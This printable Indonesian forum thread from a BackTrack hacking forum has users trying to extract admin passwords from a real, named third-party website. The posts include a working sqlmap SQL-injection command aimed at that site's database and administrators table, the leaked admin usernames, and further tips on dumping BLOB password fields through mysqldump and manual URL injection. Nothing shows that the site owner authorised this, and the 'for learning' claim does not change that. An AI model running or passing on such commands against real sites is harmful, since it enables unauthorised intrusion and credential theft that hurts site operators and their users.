ASK cara menggunakan mysqldump

ASK cara menggunakan mysqldump - Printable Version

+- Indonesian Back|Track Team (https://www.indonesianbacktrack.or.id/forum)
+-- Forum: Penetration Testing Os (https://www.indonesianbacktrack.or.id/forum/forum-170.html)
+--- Forum: Backtrack (https://www.indonesianbacktrack.or.id/forum/forum-171.html)
+---- Forum: BackTrack 5 (https://www.indonesianbacktrack.or.id/forum/forum-74.html)
+----- Forum: Backtrack 5 Tanya Jawab (https://www.indonesianbacktrack.or.id/forum/forum-86.html)
+----- Thread: ASK cara menggunakan mysqldump (/thread-2535.html)

Pages: 1 2

ASK cara menggunakan mysqldump - wine trochanter - 05-26-2012

assalamualaikum
maaf oot,dari hasil diskusi tadi menemui kebuntuan
saya dapat target http://www.ewcdb.eu/show_news.php?news_ID=2076 --> buat belajar

terus saya cari database,kolom,tablesnya jga,tp pas mau dump pass nya tidak keluar
kata om XXX(nama disamarkan Big Grin

RE: ASK cara menggunakan mysqldump - Junior Riau - 05-26-2012

(05-26-2012, 01:06 AM)wine trochanter Wrote: assalamualaikum
maaf oot,dari hasil diskusi tadi menemui kebuntuan
saya dapat target http://www.ewcdb.eu/show_news.php?news_ID=2076 --> buat belajar

terus saya cari database,kolom,tablesnya jga,tp pas mau dump pass nya tidak keluar
kata om XXX(nama disamarkan ) itu pake binari bukan hash

for test--> python sqlmap.py -u http://www.ewcdb.eu/show_news.php?news_ID=2076 -D ECDB -T administrators -C admin_login,admin_passwd --dump

hasilnya
+-------------+--------------+
| admin_login | admin_passwd |
+-------------+--------------+
| Anders | |
| Elwin | |
| ipas | |
| mkelemen | |
| mstollt | |
| nkluge | |
+-------------+--------------+

terus cara dump nya gmna yah??
mohon bantuannya

http://www.ewcdb.eu/show_news.php?news_ID=2076 -D ECDB -T administrators -C admin_login,admin_passwd --dump <=== perhatikan ini. ketika om jalanin ini om udah dumping database ECDB untuk tabel administrator saja,,kalau mau dumping 1 db bisa kok kalau mau tunggu berjam2 wwkwk,, dan catatan untuk web ini om g akan bisa temukan passnya wwkw,,type data passna blob,,sureeem,,

RE: ASK cara menggunakan mysqldump - wine trochanter - 05-26-2012

(05-26-2012, 06:36 AM)junior.riau18 Wrote:
(05-26-2012, 01:06 AM)wine trochanter Wrote: assalamualaikum
maaf oot,dari hasil diskusi tadi menemui kebuntuan
saya dapat target http://www.ewcdb.eu/show_news.php?news_ID=2076 --> buat belajar

terus saya cari database,kolom,tablesnya jga,tp pas mau dump pass nya tidak keluar
kata om XXX(nama disamarkan ) itu pake binari bukan hash

for test--> python sqlmap.py -u http://www.ewcdb.eu/show_news.php?news_ID=2076 -D ECDB -T administrators -C admin_login,admin_passwd --dump

hasilnya
+-------------+--------------+
| admin_login | admin_passwd |
+-------------+--------------+
| Anders | |
| Elwin | |
| ipas | |
| mkelemen | |
| mstollt | |
| nkluge | |
+-------------+--------------+

terus cara dump nya gmna yah??
mohon bantuannya

http://www.ewcdb.eu/show_news.php?news_ID=2076 -D ECDB -T administrators -C admin_login,admin_passwd --dump <=== perhatikan ini. ketika om jalanin ini om udah dumping database ECDB untuk tabel administrator saja,,kalau mau dumping 1 db bisa kok kalau mau tunggu berjam2 wwkwk,, dan catatan untuk web ini om g akan bisa temukan passnya wwkw,,type data passna blob,,sureeem,,

iya cara itu dah saya coba kok,tp gak tampil2 tu pass
pass siluman kali yah Big Grin

RE: ASK cara menggunakan mysqldump - iKONspirasi - 05-26-2012

salah satu cara yang bisa dilakukan adalah melalui akses ke mysqlnya untuk melakukan dump file blob:

Code:
mysqldump --opt -u user -p pass dbname images_table > images.sql

blob adalah file biner yang akan berbentuk seperti ini:

Quote: '╖?*á±dÆ╦N╪Æ·h^ye"π╩i╪ Z+-$▼₧╬Y.∞┌|↕╘l∞/l╞⌂î7æ▌X█XE.ºΓ[ ;╦ï♣éµ♂º╜┤║].♂┐φ9dë╟█'╕ÿG∟═0à¡úè♦╥↑ù♣♦¥'╔NÑ'

file blob berupa file biner multimedia yang bisa dicoba2 dibuka dengan imageviewer atau vlc
klo menyimpan password biasanya mereka menyimpan dalam bentuk image, trial n error aja

untuk melakukan dump seperti diatas menggunakan sqlmap ada yang tahu caranya? atau ada teknik lain yang bisa dilakukan untuk mendapatkan file blob?

RE: ASK cara menggunakan mysqldump - Junior Riau - 05-26-2012

om ikons,,itu udh lama ane test,,dan memang susah,, terus ane coba mnta pendapat om zee, dan om zee coba saran manual injection(url),, yap memang berhasil tapi g seluruh karatker terbaca,,ada beberapa karakter yang mmasih dalam contoh file binner diatas yang om sebutkan jadi hasil dump nya waktu itu kira2 seperti ini

Code:
pass♦wo♦rd

dan ane sudah coba2 ganti tetep g cocok wkwkwk\
padahal itu web gede

RE: ASK cara menggunakan mysqldump - iKONspirasi - 05-26-2012

klo dump dalam bentuk biner aja bisa ga? nanti kan bisa dicoba2 file binernya, kita reverse engineer bareng2

RE: ASK cara menggunakan mysqldump - Junior Riau - 05-26-2012

mysqldump --opt -u user -p pass dbname images_table > images.sql <== gini caranya??

kalau dalam perintah sqlmap lengkap kek gini?

./sqlmap.py -u www.target.com -D databasename -T administrator -C user,passowrd --dump kelanjutannya apa om?

RE: ASK cara menggunakan mysqldump - wine trochanter - 05-27-2012

hemm sama dah,saya jg blm ketemu caranya,masih lg nyari referensi

kalo kataom junior,saya udah pake cara itu tp hasilnya sama dah

RE: ASK cara menggunakan mysqldump - iKONspirasi - 05-27-2012

(05-26-2012, 08:34 PM)junior.riau18 Wrote: mysqldump --opt -u user -p pass dbname images_table > images.sql <== gini caranya??

kalau dalam perintah sqlmap lengkap kek gini?

./sqlmap.py -u www.target.com -D databasename -T administrator -C user,passowrd --dump kelanjutannya apa om?

nah itu dia ane sendiri ga tau klo utk sqlmap buat dump blob seperti yg ada di mysqldump Big Grin

RE: ASK cara menggunakan mysqldump - ekawithoutyou - 05-27-2012

nyimak pening ni ngebacanya wkwkwk :p